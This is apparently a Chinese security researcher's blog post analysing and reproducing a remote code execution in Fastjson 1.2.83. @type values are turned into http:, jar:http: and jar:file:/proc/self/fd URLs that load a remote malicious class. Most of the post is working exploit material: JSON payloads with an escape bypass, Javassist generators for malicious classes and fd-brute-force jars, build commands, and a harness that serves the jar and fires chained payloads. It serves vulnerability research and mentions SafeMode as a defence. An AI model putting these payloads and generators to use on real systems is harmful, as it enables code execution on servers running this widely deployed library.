fastjson 1.2.83 最新RCE分析
参考:GCSA洞察:Fastjson 1.2.83 “Gadget-Free” 漏洞(0day)深度分析与防御指南 - GCSA
Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。建议立即启用 SafeMode 并迁移 Fastjson 2.x。
先跟着文章大致了解一遍,后面再复现调试吧
Fastjson 1.2.83 的ParserConfig.checkAutoType会把用户可控的@type值转换为 class 资源名,并交给当前 ClassLoader 的getResourceAsStream:
1
2
| String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
|
在能够解析绝对 URL 资源名的 fat-jar ClassLoader 环境中,攻击者可以利用点号替换构造http:、jar:http:和jar:file:URL,从攻击端下载带有@JSONType的恶意 class。Fastjson 检测到该注解后会调用loadClass,并在危险基类检查和目标类型相容性检查之前直接返回该 class。class 被实例化、初始化时即可执行任意代码。
该利用不依赖目标 classpath 中已有的传统反序列化 gadget,且在 FastjsonAutoType=false的默认状态下仍可触发。固定JSON.parseObject的目标类型不能阻止执行;启用 SafeMode 可以在资源访问前阻断正常利用路径。
原因分析
用户类型名被当作资源 URL
来到fastjson的paserconfig来看一下源码

主要看这段
1
2
3
4
5
6
| String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
|
这里会把.换成/,所以我们可以构造
1
2
| 输入类型名: http:..localhost:18081.a
资源名: http://localhost:18081/a.class
|
因此getResourceAsStream从本地元数据查询越界为攻击者可控的网络资源加载。
远程 class 的@JSONType被当作授权依据
1
2
3
4
| ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
|
这段判断class是否有@JSONType注解,有就使得jsonType为true
上面判断jsonType为true之后,就会进下面这个判断

这里就会load我们传入的class

由于我们没开autotype,这里的安全检查几乎都不会生效,直接返回class

接下来这个是关键,由于我们没开autoType,所以会进这个判断,这里可以让类型名以Exception结尾后, Fastjson 不会终止整个 JSON,而是返回null,使解析器继续处理数组中的 FD 枚举元素。
跟1.2.83之前那个Exception绕过有点类似
利用链分析
直接加载远程class的最短poc:
1
| {"@type":"http:..localhost:18081.a"}
|
上面说到这个会解析成http://localhost:18081/a.class
Spring Boot 2.7 的LaunchedURLClassLoader下载 class 后完成定义、实例化和初始化,恶意<clinit>执行命令。
JDK 17+ 同样会完成网络请求,但拒绝内部名中的空路径段:
1
| ClassFormatError: Illegal class name "http://localhost:18081/a"
|
所以短http:..形式本身只在 JDK 8 完成 RCE。
poc
发送一个payload
1
| {"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
|
转换后的结果
1
| jar:http://attacker:18081/x!/foo/Exception.class
|
JDK 的sun.net.www.protocol.jar.URLJarFile.retrieve会创建jar_cache*临时文件, 将远程 JAR 复制到该文件,然后打开JarFile。缓存仍由受害 JVM 持有;攻击者不需要知道随机临时文件名,也没有直接向受害文件系统写文件。
JDK 17+ 随后拒绝第一阶段jar:http://...内部名,但 Fastjson 因Exception后缀继续解析数组。
由于上面创建了缓存,接下来就要打开缓存了,这里读fd文件
1
| {"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
|
转换后的结果
1
| jar:file:/proc/self/fd/7!/fd7/Exception.class
|
命中缓存之后就会加载并实例化我们上面准备的恶意类,<clinit>执行命令
这里的fd可以多准备些,然后进行爆破
同时的话,这里的@type同样可以用之前的方法bypass
1
2
| {"\u0040type":"..."}
{"\x40type":"..."}
|
或者相应的ghostbits
最后就是url这里尽量要使用不含点号的 DNS 标签或十进制 IPv4,因为例如十进制 IPv42130706433等价于127.0.0.1,如果是127.0.0.1中的点号同样也会被替换,所以最好用十进制ipv4
漏洞复现以及调试
总之先准备一个恶意jar包,这里用字节码替换的方式,把jar包中的类名改成了上面那种形式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.Modifier;
import javassist.bytecode.AnnotationsAttribute;
import javassist.bytecode.ClassFile;
import javassist.bytecode.ConstPool;
import javassist.bytecode.annotation.Annotation;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Gen {
public static void main(String[] args) throws Exception {
if (args.length != 2) {
System.out.println("Usage: java Gen <internal-class-name> <output-class-file>");
return;
}
String internalName = args[0];
String outputFile = args[1];
ClassPool pool = new ClassPool(false);
pool.appendSystemPath();
CtClass clazz = pool.makeClass("GeneratedPoc");
clazz.setModifiers(Modifier.PUBLIC);
CtConstructor constructor = new CtConstructor(new CtClass[0], clazz);
constructor.setBody("{}");
clazz.addConstructor(constructor);
clazz.makeClassInitializer().setBody(
"{"
+ "System.out.println(\"REMOTE POC <clinit> EXECUTED (running id)\");"
+ "java.io.File outputFile = new java.io.File(System.getProperty(\"poc.pwnedFile\", \"PWNED2\"));"
+ "java.lang.Process process = new java.lang.ProcessBuilder(new String[] { \"id\" })"
+ ".redirectErrorStream(true)"
+ ".redirectOutput(outputFile)"
+ ".start();"
+ "int exitCode = process.waitFor();"
+ "System.out.println(\"REMOTE POC id command exit=\" + exitCode + \", outputFile=\" + outputFile.getAbsolutePath());"
+ "}");
ClassFile classFile = clazz.getClassFile();
classFile.setMajorVersion(ClassFile.JAVA_8);
classFile.setName(internalName);
addJsonTypeAnnotation(classFile);
Files.write(Paths.get(outputFile), clazz.toBytecode());
System.out.println("crafted class written to " + outputFile);
}
private static void addJsonTypeAnnotation(ClassFile classFile) {
ConstPool constPool = classFile.getConstPool();
AnnotationsAttribute annotations = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
annotations.addAnnotation(new Annotation("com.alibaba.fastjson.annotation.JSONType", constPool));
classFile.addAttribute(annotations);
}
}
|
接下来可以这样生成
1
2
3
4
5
6
| javac --release 8 -encoding UTF-8 -cp "lib/*" -d target/classes src/main/java/*.java
java -cp "target/classes:lib/javassist-3.30.2-GA.jar" Gen \
"jar:http://2130706433:18080/probe!/POC" \
target/crafted-POC.class
cp target/crafted-POC.class target/crafted/POC.class
jar cf probe.jar -C target/crafted POC.class
|
windows的话差不多
1
2
3
4
5
6
7
| $javassist = "$env:USERPROFILE\.m2\repository\org\javassist\javassist\3.30.2-GA\javassist-3.30.2-GA.jar"
New-Item -ItemType Directory -Force target\classes,target\crafted | Out-Null
javac -encoding UTF-8 -cp $javassist -d target\classes src\main\java\Gen.java
java -cp "target\classes;$javassist" Gen "jar:http://2130706433:18080/probe!/POC" target\crafted-POC.class
Copy-Item -Force target\crafted-POC.class target\crafted\POC.class
jar cf probe.jar -C target\crafted POC.class
jar tf probe.jar
|
然后就可以看到构造好的jar包,里面包含恶意类

然后起一个能jsonparse的环境,下断点在checkautotype这里

发送json就断到这里了

然后替换完变成

然后jar包会被put进closeables中

这里检测jsonType,有注解所以设置为true

接下来就是loadClass了,跟进

跟进去后只有contextClassLoader.loadClass()和Class.forName()两处地方可能完成类加载。
这里发现只会进contextClassLoader.loadClass(),那我们跟进LaunchedURLClassLoader的loadClass
这里会不断轮询父类的loadClass和findClass,直到进入URLClassLoader.findClass


但是这里不知道为什么完全走不到这个doPrivileged方法里面,到这里为止的堆栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| findClass:362, URLClassLoader (java.net)
loadClass:418, ClassLoader (java.lang)
loadClass:151, LaunchedURLClassLoader (org.springframework.boot.loader)
loadClass:351, ClassLoader (java.lang)
loadClass:1774, TypeUtils (com.alibaba.fastjson.util)
checkAutoType:1502, ParserConfig (com.alibaba.fastjson.parser)
parseObject:343, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
parse:15, FastjsonHarness (com.percivalll.fastjson.jsontype)
get:34, WorkerParser$2 (com.percivalll.fastjson.jsontype)
get:31, WorkerParser$2 (com.percivalll.fastjson.jsontype)
run:1604, CompletableFuture$AsyncSupply (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:750, Thread (java.lang)
|
后面看了一下是因为DK8 的 java.security.AccessController.doPrivileged(...) 是 JVM native 边界,IDEA 不能像进入普通 Java 方法一样继续单步进入它的实现。而这边大佬应该用的是java-analyzer
这里直接贴大佬的图了:fastjson 1.2.83 JSONType RCE详解

到这里就加载jar包了
后续研究了一下,只需要在匿名方法这里下断点就行了

然后跟进getResource方法

这是这里的堆栈:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| getResource:748, URLClassPath$Loader (sun.misc)
getResource:250, URLClassPath (sun.misc)
run:366, URLClassLoader$1 (java.net)
run:363, URLClassLoader$1 (java.net)
doPrivileged:-1, AccessController (java.security)
findClass:362, URLClassLoader (java.net)
loadClass:418, ClassLoader (java.lang)
loadClass:151, LaunchedURLClassLoader (org.springframework.boot.loader)
loadClass:351, ClassLoader (java.lang)
loadClass:1774, TypeUtils (com.alibaba.fastjson.util)
checkAutoType:1502, ParserConfig (com.alibaba.fastjson.parser)
parseObject:343, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
parse:15, FastjsonHarness (com.percivalll.fastjson.jsontype)
get:34, WorkerParser$2 (com.percivalll.fastjson.jsontype)
get:31, WorkerParser$2 (com.percivalll.fastjson.jsontype)
run:1604, CompletableFuture$AsyncSupply (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:750, Thread (java.lang)
|
然后就会走回去defineClass了

高版本的情况下,这里jarhttp的方式会失效,在native层的代码,jdk11比jdk8多了一个不能出现连续斜杠的校验(其实jdk9+就开始了),然而jar http那一坨payload最终是以URL对象解析的,它是不支持常见的一些兼容性写法比如localhost,http:/localhost的。
file协议可以单个斜杠解析,所以这里高版本rce就用到jar file的形式了
然后就是fd爆破了,这里上面解释过了就不多解释了
先是发送一样的payload
1
| {"@type":"jar:http:..2130706433:18080.probe!.POC"}
|
然后再fd爆破,这里直接链式payload了
1
2
3
4
5
6
| [
{"@type":"jar:http:..2130706433:18080.x!.foo.Exception"},
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"},
...
]
|
生成这种能爆破fd的jar包跟之前类似
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
| import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.Modifier;
import javassist.bytecode.AnnotationsAttribute;
import javassist.bytecode.ClassFile;
import javassist.bytecode.ConstPool;
import javassist.bytecode.annotation.Annotation;
import java.io.File;
import java.nio.file.Files;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
public class GenFd {
private static final String DEFAULT_STAGE_INTERNAL = "jar:http://2130706433:18080/x!/foo/Exception";
public static void main(String[] args) throws Exception {
if (args.length != 4) {
System.out.println("Usage: java GenFd <output-jar> <min-fd> <max-fd> <stage-internal-name>");
return;
}
File outputJar = new File(args[0]);
int minFd = Integer.parseInt(args[1]);
int maxFd = Integer.parseInt(args[2]);
String stageInternalName = "-".equals(args[3]) ? DEFAULT_STAGE_INTERNAL : args[3];
File parent = outputJar.getParentFile();
if (parent != null) {
parent.mkdirs();
}
JarOutputStream jar = new JarOutputStream(Files.newOutputStream(outputJar.toPath()));
try {
addClass(jar, "foo/Exception.class", stageInternalName, "PWNED_STAGE", true);
for (int fd = minFd; fd <= maxFd; fd++) {
String internalName = "jar:file:/proc/self/fd/" + fd + "!/fd" + fd + "/Exception";
addClass(jar, "fd" + fd + "/Exception.class", internalName, "PWNED17", true);
}
} finally {
jar.close();
}
System.out.println("crafted fd jar written to " + outputJar.getAbsolutePath()
+ " with fd range " + minFd + ".." + maxFd);
}
private static void addClass(JarOutputStream jar, String entryName, String internalName,
String defaultOutputFile, boolean throwAfterCommand) throws Exception {
JarEntry entry = new JarEntry(entryName);
jar.putNextEntry(entry);
jar.write(makeClassBytes(internalName, defaultOutputFile, throwAfterCommand));
jar.closeEntry();
}
private static byte[] makeClassBytes(String internalName, String defaultOutputFile,
boolean throwAfterCommand) throws Exception {
ClassPool pool = new ClassPool(false);
pool.appendSystemPath();
CtClass clazz = pool.makeClass("GeneratedFdPoc" + Math.abs(internalName.hashCode()));
clazz.setModifiers(Modifier.PUBLIC);
CtConstructor constructor = new CtConstructor(new CtClass[0], clazz);
constructor.setBody("{}");
clazz.addConstructor(constructor);
String throwStatement = throwAfterCommand
? "throw new RuntimeException(\"stage-one-stop\");"
: "";
clazz.makeClassInitializer().setBody(
"{"
+ "System.out.println(\"REMOTE FD POC <clinit> EXECUTED: " + escape(internalName) + "\");"
+ "java.io.File outputFile = new java.io.File(System.getProperty(\"poc.pwnedFile\", \""
+ defaultOutputFile + "\"));"
+ "java.lang.Process process = new java.lang.ProcessBuilder(new String[] { \"id\" })"
+ ".redirectErrorStream(true)"
+ ".redirectOutput(outputFile)"
+ ".start();"
+ "int exitCode = process.waitFor();"
+ "System.out.println(\"REMOTE FD POC id command exit=\" + exitCode + \", outputFile=\" + outputFile.getAbsolutePath());"
+ throwStatement
+ "}");
ClassFile classFile = clazz.getClassFile();
classFile.setMajorVersion(ClassFile.JAVA_8);
classFile.setName(internalName);
addJsonTypeAnnotation(classFile);
byte[] bytes = clazz.toBytecode();
clazz.detach();
return bytes;
}
private static void addJsonTypeAnnotation(ClassFile classFile) {
ConstPool constPool = classFile.getConstPool();
AnnotationsAttribute annotations = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
annotations.addAnnotation(new Annotation("com.alibaba.fastjson.annotation.JSONType", constPool));
classFile.addAttribute(annotations);
}
private static String escape(String value) {
return value.replace("\\", "\\\\").replace("\"", "\\\"");
}
}
|
接下来可以这样生成jar:
1
2
3
4
5
| $javassist = "$env:USERPROFILE\.m2\repository\org\javassist\javassist\3.30.2-GA\javassist-3.30.2-GA.jar"
New-Item -ItemType Directory -Force target\classes | Out-Null
javac -encoding UTF-8 -cp $javassist -d target\classes src\main\java\GenFd.java
java -cp "target\classes;$javassist" GenFd fd-probe.jar 3 96 "jar:http://2130706433:18080/x!/foo/Exception"
jar tf fd-probe.jar
|

里面每个都是一个class
测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
| import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
public class TestFd {
private static final List<String> HITS = Collections.synchronizedList(new ArrayList<String>());
private static final int PORT = Integer.getInteger("poc.port", 18080);
private static final int MIN_FD = Integer.getInteger("poc.minFd", 3);
private static final int MAX_FD = Integer.getInteger("poc.maxFd", 96);
private static byte[] fdProbeJar;
public static void main(String[] args) throws Exception {
if (args.length != 1 || !"boot32-fd-parse".equals(args[0])) {
System.out.println("Usage: java TestFd boot32-fd-parse");
return;
}
loadFdProbeJar();
startServer();
Thread.sleep(300L);
ClassLoader launchedClassLoader = createBoot32ClassLoader();
Thread.currentThread().setContextClassLoader(launchedClassLoader);
System.out.println("[setup] launchedClassLoader = " + launchedClassLoader.getClass().getName());
String payload = buildPayload();
System.out.println("[payload] fd range = " + MIN_FD + ".." + MAX_FD);
System.out.println("[payload] length = " + payload.length());
System.out.println("[payload] first 240 chars = " + payload.substring(0, Math.min(payload.length(), 240)));
System.setProperty("poc.pwnedFile", "PWNED17");
Class<?> runner = Class.forName("FatRunner", true, launchedClassLoader);
Method main = runner.getMethod("main", String[].class);
main.invoke(null, (Object) new String[] { payload });
Thread.sleep(1500L);
System.out.println("[server] requests: " + HITS.size());
for (String hit : HITS) {
System.out.println("[server] " + hit);
}
File pwned = new File("PWNED17");
System.out.println("[pwned] PWNED17 exists: " + pwned.exists());
if (pwned.exists()) {
System.out.println("[pwned] content: " + new String(Files.readAllBytes(pwned.toPath()), "UTF-8").trim());
}
System.exit(0);
}
private static ClassLoader createBoot32ClassLoader() throws Exception {
Class<?> handlers = Class.forName("org.springframework.boot.loader.net.protocol.Handlers");
handlers.getMethod("register").invoke(null);
URL[] urls = new URL[] {
new URL("jar:" + fastjsonJar().toURI().toURL() + "!/"),
classesDir().toURI().toURL()
};
System.out.println("[setup] boot32 urls = " + Arrays.toString(urls));
Class<?> clazz = Class.forName("org.springframework.boot.loader.launch.LaunchedClassLoader");
Constructor<?> constructor = clazz.getConstructor(boolean.class, URL[].class, ClassLoader.class);
return (ClassLoader) constructor.newInstance(Boolean.FALSE, urls, ClassLoader.getSystemClassLoader().getParent());
}
private static String buildPayload() {
StringBuilder json = new StringBuilder();
json.append('[');
appendType(json, "jar:http:..2130706433:" + PORT + ".x!.foo.Exception");
for (int fd = MIN_FD; fd <= MAX_FD; fd++) {
json.append(',');
appendType(json, "jar:file:.proc.self.fd." + fd + "!.fd" + fd + ".Exception");
}
json.append(']');
return json.toString();
}
private static void appendType(StringBuilder json, String type) {
json.append("{\"@type\":\"").append(type).append("\"}");
}
private static File fastjsonJar() {
return firstExisting(
System.getProperty("poc.fastjsonJar"),
"lib/fastjson-1.2.83.jar",
"target/dependency/fastjson-1.2.83.jar");
}
private static File classesDir() {
return firstExisting(
System.getProperty("poc.classesDir"),
"target/classes",
".");
}
private static File fdProbeJar() {
return firstExisting(
System.getProperty("poc.fdProbeJar"),
"fd-probe.jar",
"target/fd-probe.jar");
}
private static File firstExisting(String explicit, String first, String second) {
if (explicit != null && !explicit.trim().isEmpty()) {
return requireFile(new File(explicit));
}
File file = new File(first);
if (file.exists()) {
return file;
}
return requireFile(new File(second));
}
private static File requireFile(File file) {
if (!file.exists()) {
throw new IllegalStateException("Required path not found: " + file.getAbsolutePath());
}
return file.getAbsoluteFile();
}
private static void loadFdProbeJar() throws Exception {
File probe = fdProbeJar();
fdProbeJar = Files.readAllBytes(probe.toPath());
System.out.println("[setup] fd probe jar loaded from " + probe.getAbsolutePath()
+ ", " + fdProbeJar.length + " bytes");
}
private static void startServer() {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
try (ServerSocket serverSocket = new ServerSocket(PORT, 50, InetAddress.getByName("127.0.0.1"))) {
serverSocket.setSoTimeout(15000);
long end = System.currentTimeMillis() + 14000L;
while (System.currentTimeMillis() < end) {
try {
Socket socket = serverSocket.accept();
BufferedReader reader = new BufferedReader(
new InputStreamReader(socket.getInputStream(), "UTF-8"));
String line = reader.readLine();
HITS.add("connection from " + socket.getRemoteSocketAddress() + " request: " + line);
while ((line = reader.readLine()) != null && !line.isEmpty()) {
// Drain request headers.
}
OutputStream output = socket.getOutputStream();
output.write(("HTTP/1.1 200 OK\r\nContent-Type: application/java-archive\r\nContent-Length: "
+ fdProbeJar.length + "\r\nConnection: close\r\n\r\n").getBytes("UTF-8"));
output.write(fdProbeJar);
HITS.add("-> served fd-probe.jar (200, " + fdProbeJar.length + " bytes)");
output.flush();
socket.close();
} catch (SocketTimeoutException timeout) {
break;
} catch (Exception exception) {
HITS.add("server error: " + exception);
}
}
} catch (Exception exception) {
System.out.println("[server] failed to start: " + exception);
}
}
}, "poc-http-fd-jar");
thread.setDaemon(true);
thread.start();
}
}
|
命中缓存fd就会loadClass执行
